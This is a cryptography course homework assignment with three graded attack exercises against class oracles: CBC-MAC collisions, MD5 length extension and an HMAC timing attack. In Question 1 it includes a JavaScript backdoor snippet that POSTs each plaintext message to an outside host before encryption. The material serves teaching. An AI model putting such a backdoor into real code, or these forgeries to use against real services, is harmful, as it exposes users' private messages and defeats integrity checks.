CS 5830 Homework 3

Instructor: Thomas Ristenpart
TAs: Andres Fabrega, Sanketh Menda, and Dhrumil Patel
Due: 24 October 2022

Submission and Grading

Submit your written answers to Gradescope and your code answers to CMSX. You must submit appropriate answers to the both submission sites for full credit.

Problems in this assignment are of two types:

1. *Attacking cryptography.* Given an incomplete template file, you need to fill in the missing pieces to mount an attack, e.g. retrieving a flag or forging a ciphertext.
2. *Talking cryptography.* Talk us through how you attacked a given cryptographic primitive or how you would hypothetically attack it.

The exact materials and the format you would need to submit them in for a given problem are indicated at the end of the problem.

Late Days

Homeworks are due on the due date by 11:59pm EST. You can use in total 3 late days throughout the semester.

Academic Integrity

Feel free to refer to external materials, but as usual please acknowledge them in your writeup in accordance with the Cornell Code of Academic Integrity.

Server Availability

To query the server, you'll use the same username and API key throughout this semester. Your username is your Cornell NetID (like `sm2289`) and you can find your assigned API key on CMSX, in the *Grading Comments & Requests* section of the placeholder assignment called `API_keys`.

We made a best effort to ensure the reliability of the challenge servers, but unfortunately, due to the nature of software and the internet, there may be disruptions. If you run into a disruption (the server is not responding, it is providing an error code, etc.), please do not panic, and reach out to the TAs (`@sanketh`, `@Andres`, or `@Dhrumil Patel`) on Slack. If this happens within 24 hours of the deadline, we will extend the deadline to accommodate for the inconvenience.

Verbosity for Written Answers

Generally, we prefer concise answers.

For a question like "Explain how you mount the attack?" we are expecting a high-level, but precise description of the attack in 3-10 sentences. Here is an example of a good answer.

> I started with an initial guess of the 16-byte all-zeros message. Then for each of the 16 bytes, I did X. Then did Y. Since the success of this is not guranteed, I repeated the process 20 times and aggregated. With the confidence, I did Z to recover the `FLAG`.

For a question like "Estimate the number of queries your attack issues?" we want you to think about how many queries you *really* need, and expect a high-level answer with ballpark numbers. Here is an example of a good answer.

> My attack does 5 queries initially for [purpose]. Then it does 1 queries per `FLAG` byte. In sum, for a flag of length N, it needs 1 + 5/N queries per `FLAG` byte.

Flag Notes

Each problem includes a description of the expected flag. For instance, it may say that it has 10 alphanumeric characters. Feel free to use that to restrict your search space, and to verify that you found the right flag (if you find something that meets the flag description, it is overwhelmingly likely that you found the right flag).

During grading, we will run your code against a different flag that nevertheless meets the description. So please make sure that you are not hardcoding assumptions regarding your specific flag.

Question 1. Exploiting CBC-MAC Collisions

Introduction. Ariel runs security for an end-to-end encrypted messaging service `e2ee.dev`. A key advantage of this service versus competitors is that it has a web interface, so you don't need to install any additional apps, and it works everywhere. To improve performance, Ariel's colleagues want to load assets (like the javascript for encrypting messages) from a globally distributed CDN, rather than exclusively serve them from their servers in North Virginia. Ariel realizes that this is risky, someone could hijack the CDN and serve malicious javascript. So, Ariel devises a solution where in the HTML that is served from their servers, in addition to the URL of the resource, it includes a hash of the resource, and adds some in-line javascript to verify that the loaded resource matches the hash before using it.

Rather than use a garden variety hash function like SHA256—which requires importing a new library and subjecting oneself to that unbelievably long process to get new libraries approved—Ariel decides to repurpose CBC-MAC instead. Since they are already using CBC mode for encryption elsewhere, and that library also exports CBC-MAC, they can skip the approval process.

Specifically, Ariel uses CBC-MAC which is *PKCS7 Padding* then AES128 CBC-mode encryption with an all-0s IV, see this Wikipedia article for a nice diagram. And to make this a hash function Ariel fixes the AES128 key to be `"AAAAAAAAAAAAAAAA"`. Let's call this scheme *CBC-MAC-Hash*.

A resource load now looks like this

```
<script
  src="cdn.example.com/encryption.js"
  cbcmachash="FF[...]FF"
  ></script>
```

Ariel deploys the system, and writes a blog post explaining the system and the properties they expect from it. While reading the blog post, you realize that CBC-MAC is not collision resistant. So, you decide to come up with a proof-of-concept that illustrates the severity of the oversight, that you can submit for a bug bounty.

To maximize severity, you decide to inject a backdoor into the javascript that encrypts messages. You download and notice that the relevant file `encryption.js` looks like

```
function encryptMessage(message) {
  return encrypt(message);
}
```

You want to modify it so that, before encryption, it sends a copy of the plaintext to a competitor `e2ee.life`. Namely, we want to create a new file that looks like this

```
function encryptMessage(message) {
  var xhr = new XMLHttpRequest();
  xhr.open("POST", "https://e2ee.life/plaintext/", true);
  xhr.send(message);
  return encrypt(message);
}
```

If we naively substituted the true `encryption.js` with the backdoored file, CBC-MAC-Hash would not match the expected value and the file will not be loaded. So, we need to modify the backdoored file so that it hashes to the same value as the true `encryption.js`.

Thankfully, this is pretty easy with CBC-MAC-Hash. First, since we know the key, we can decrypt the hash of the true `encryption.js` to get some value `X` and if we can construct a message such that after padding

```
X == (last plaintext block) xor (second last ciphertext block)
```

then we get our collision. We have full control over the last plaintext block, so we can pick anything, let's say we pick some 15-byte string with `0x01` padded and denote it by `A`. Then we can rewrite the above equation as

```
(second last ciphertext block) == X xor A
```

Don't let the word "ciphertext" fool you, you know the key, so you can decrypt it to get the corresponding plaintext. Continue this train of thought, maybe on a piece of paper, and soon you'll have a way to construct a message that looks like

```
[the backdoored encryption.js] [some garbage]
```

and hashes under CBC-MAC-Hash to the same value as the true `encryption.js`.

Problem Oracle. We are given five oracles,

1. `computeCBCMACHash` that takes a message and computes its CBC-MAC Hash.
2. `computePKCS7Padding` that takes a message and returns the message with its PKCS7 padding.
3. `getEncryptionCode` retrieves the latest `encryption.js` from the CDN.
4. `getEncryptionCodeWithBackdoor` produces a backdoored `encryption.js`.
5. `isValidEncryptionBackdoor` takes a message and returns `true` if
   (a) the message has the same CBC-MAC-Hash as the true `encryption.js`; and
   (b) it starts with the backdoored `encryption.js`.

The Goal. The goal is produce a message that makes `isValidEncryptionBackdoor` return `true`.

Query Estimates. This attack should ideally take a handful of queries, across all the oracles.

Flag Format. There is no flag for this question.

What to Submit.

- (5 pts) *Source code.* Copy the file `hw3_q1_cbcmac_collision.py` into your homeworks' folder and complete the TODOs to conduct the attack. Submit `hw3_q1_cbcmac_collision.py` to CMSX.
- (5 pts) *Written answer.* Submit answers to the following questions to Gradescope:

1. (3 pts) Explain how you mount the attack?
2. (2 pts) Estimate the number of queries your attack issues?

- (1 pts extra credit) *Written answer.* Submit answers to the following questions to Gradescope:

1. (1 pts) Explain how you'd modify your attack so it generates valid javascript (with high probability over the key choice)? (*Hint.* Paste the javascript your attack generates into a Browser Console like Firefox's to see the errors it generates.)

Real-World Relevance. What Ariel implemented is ad-hoc version of Subresource Integrity. And, this is especially important for applications that promise end-to-end encryption, WhatsApp recently announced a new approach to this problem with a browser extension and trusted third party to extend trust beyond individual externally loaded resources to the entire web application.

Question 2. MD5 Length Extension Attack

Introduction. (Continued from Q2 in hw2...) After previous failures of using SHA256 and truncated HMAC-SHA256 to authenticate cookies, here are the two lessons Alice learned: (1) a secret key is needed when generating the tag; (2) the tag shouldn't be truncated. So she worked carefully on paper and finally designed the following cookies

```
username=alice&validtill=0000000000&adfree=0&md5=51ac...8593
```

where

```
MD5(secret_key || value="username=alice&validtill=0000000000&adfree=0")
= 51ac6e4c3e8f2fd6e7446d84a3338593
```

`MD5(`M`)` is computed in the following way:

1. *Padding.* Break $M' = M \| 1$ into 512-bit blocks and add `0` bits until the last block has 448 bits (the number of blocks may be increased by 1 after this). Add the bit-length of M as a 64-bit integer to the end and denote the result as `padding(`M`)` $= M \| 1 \| 0..0 \| \text{len}(M)$.
2. *Compression.* Suppose `padding(`M`)`$=M_1\| \cdots \| M_k$ where M_i is a 512-bit block. MD5 has a fixed initial state S_0 and a public one-way function f. For $i = 1, \cdots, k$, let $S_i = f(S_{i-1}, M_i)$. Finally S_k is the output of `MD5(`M`)`.

"Don't roll your own crypto," Alice found a number of systems using similar schemes, including Flickr, so she's pretty confident with its security.

Unfortunately, Alice failed to see the length extension attack against Flickr. Additionally, not only MD5, hash functions based on the Merkle–Damgård construction such as SHA-1 and SHA-2 are susceptible to similar length extension attacks.

Simply put, given `MD5(secret_key || value)`, an attacker can forge a valid `MD5(secret_key || value || padding || data)` for any bitstring `data` it wants to append without knowing `secret_key`. This is basically because `MD5(secret_key || value)` is exactly some S_i when computing `MD5(secret_key || value || padding || data)`, so the attacker just needs to figure out `padding`, which it can easily brute force.

Note.

- We have fixed the `validtill` value to be `0000000000` for simplicity.
- When parsing the cookie, if a parameter is set multiple times, we prefer the latter value. E.g., we take `username=bob` when seeing `username=alice&username=bob`.
- The length of the `secret_key` varies from 16 to 64 bytes.

Problem Oracle. We are given two oracles,

1. `genCookie` that generates a plaintext cookie for your, with your `NetID` as `username`, `validtill=0000000000` and `adfree=0`.

2. `isCookieAdFree` that takes a plaintext cookie, verifies that (1) the MD5 hash is valid, (2) it is the right format, and (3) `adfree=1`, and returns `True` if all the checks pass, and `False` otherwise.

The Goal. We want to take the `adfree=0` cookie and tamper with it to generate a valid `adfree=1` cookie.

Query Estimates. This attack should ideally take one `genCookie` query and no more than 100 `isCookieAdFree` queries.

Flag Format. There is no flag for this question.

What to Submit.

- (5 pts) *Source code.* Copy the file `hw3_q2_length_extension.py` and `pymd5.py` into your homeworks' folder. The `padding` function in `hw3_q2_length_extension.py` takes in the length of a message in bytes and returns the corresponding padding (1||0..0||len(msg)). The `md5_compress` function is the one-way function f which takes a 16-byte state S and 64-byte block M and outputs $f(S, M)$. Complete the TODOs to conduct the attack and submit `hw3_q2_length_extension.py` to CMSX.
- (5 pts) *Written answer.* Submit your answers to the following questions to Gradescrope:
    1. (2 pts) Explain how you mount the attack?
    2. (1 pts) Estimate the number of queries your attack issues?
    3. (2 pts) How would you recommend that Alice fix this issue? Describe your solution precisely using pseudocode and explicit schemes (like MD5 and/or SHA256) and describe your rationale in 2-5 sentences with sources to back up statements.
- (1 pts extra credit) *Written answer.* Submit answers to the following questions to Gradescope:
    1. (1 pts) This attack shows that `MD5(secret_key || value)` is insecure, but how about `MD5(value || secret_key)`? If you think it is secure, explain why. If you think it is insecure, provide an attack?

Question 3. HMAC Timing Attack

When in doubt, it is always a good idea to use HMAC. When instantiated with a good hash function (like SHA256), it is not prone to collisions (so evades the attacks discussed in Q1) nor length extension attacks (so evades the attacks discussed in Q2).[1]

After hearing `@sanketh` loudly shill for HMAC in this way on the NYC subway before being told to shut up by an older person who was previously sleeping, Alexis decides to use HMAC for integrity checks in their day job.

Alexis writes python code like the following to compare the `provided_tag` bytes with the computed HMAC bytes

```
if HMAC(key, provided_data) == provided_tag:
    # do something
# do something else
```

The title of the question may be a giveaway but take few minutes to think about what is wrong here.

Few minutes later.

Let's start by expanding the `==` to the library function to get

```
if bytes.__eq__(HMAC(key, provided_data), provided_tag):
    # do something
# do something else
```

`bytes.__eq__` is from the python standard library, so we can grep the python/cpython repository to find the relevant implementation which calls the internal function `bytes_compare_eq` which, if the arguments have the same length, calls the `memcmp` syscall.

Grepping torvalds/linux, we can find the implementation of `memcmp` on aarch64. If you can't read aarch64 assembly, that's okay, we can approximate the function in python in the case where we have equal length bytes as follows.

```
def memcmp(src1: bytes, src2: bytes, n: int) -> bool:
    for i in range(n):
        if src1[i] != src2[i]:
            return False
    return True
```

I hope you see the bug now—this function early exits which, to someone who is observing the timing, leaks the number of correct bytes. Indeed, the memcmp man page explicitly warns against this.

Now, you want to break Alexis's integrity check: namely, for a given `data`, you want to recover a valid `tag = HMAC(key, data)` so you can pass the integrity checks.

[1] Modern hash functions like SHA3 and Blake2 and Blake3 also provide these properties. Many of the NIST post-quantum candidates use SHA3 and the linux kernel recently switched to Blake2 for their CSPRNG. This attack also applies to them. :)

Note. To make the problem easier, we have (1) heightened the timing discrepancy (far beyond what you'd observe with vanilla python); and (2) truncated the HMAC tags to the first 4 bytes.

Problem Oracle. We are given two oracles,

1. `getData` generates some data.
2. `checkHMAC` takes `data || tag` where `data` is a variable-length and `tag` is 4 bytes long, and returns `True` if `HMAC(key, data)[:4] == tag`, and `False` otherwise.

The Goal. Get `data` by querying `getData` and exploit the timing leak in `checkHMAC` to recover a valid tag for `data`.

Query Estimates. This attack should ideally take one `getData` query and ~1000 `checkHMAC` queries.

Flag Format. There is no flag for this question.

What to Submit.

- (5 pts) *Source code.* Copy the file `hw3_q3_hmac_timing_attack.py` and `hmac.py` into your homeworks' folder. We hardcoded the HMAC `key` in `config.py` but we will use different keys for grading. Complete the TODOs to conduct the attack and submit `hw3_q3_hmac_timing_attack.py` to CMSX.
- (5 pts) *Written answer.* Submit your answers to the following questions to Gradescope:
    1. (3 pts) Explain how you mount the attack?
    2. (2 pts) Estimate the number of queries your attack issues?
- (1 pts extra credit) *Written answer.* Submit answers to the following questions to Gradescope:
    1. (1 pts) How can you modify the HMAC API `HMAC(key: bytes, data: bytes) -> bytes` to prevent developers from writing such timing leaks? (*Hint.* Think about the return type.)

Evaluation

We would love it if you could provide us feedback to improve future homeworks. Please provide answers to the following questions on Gradescrope.

- Did you find the homework easy, appropriately difficult, or too difficult?
- How many hours did you spent on this homework?
- Did you feel that the coding was too much, appropriate, or not enough?

And feel free to include additional feedback (on the homework or logistics in general). Also, this is not a tight deadline, we'd be delighted to hear your feedback via Slack before or after the deadline.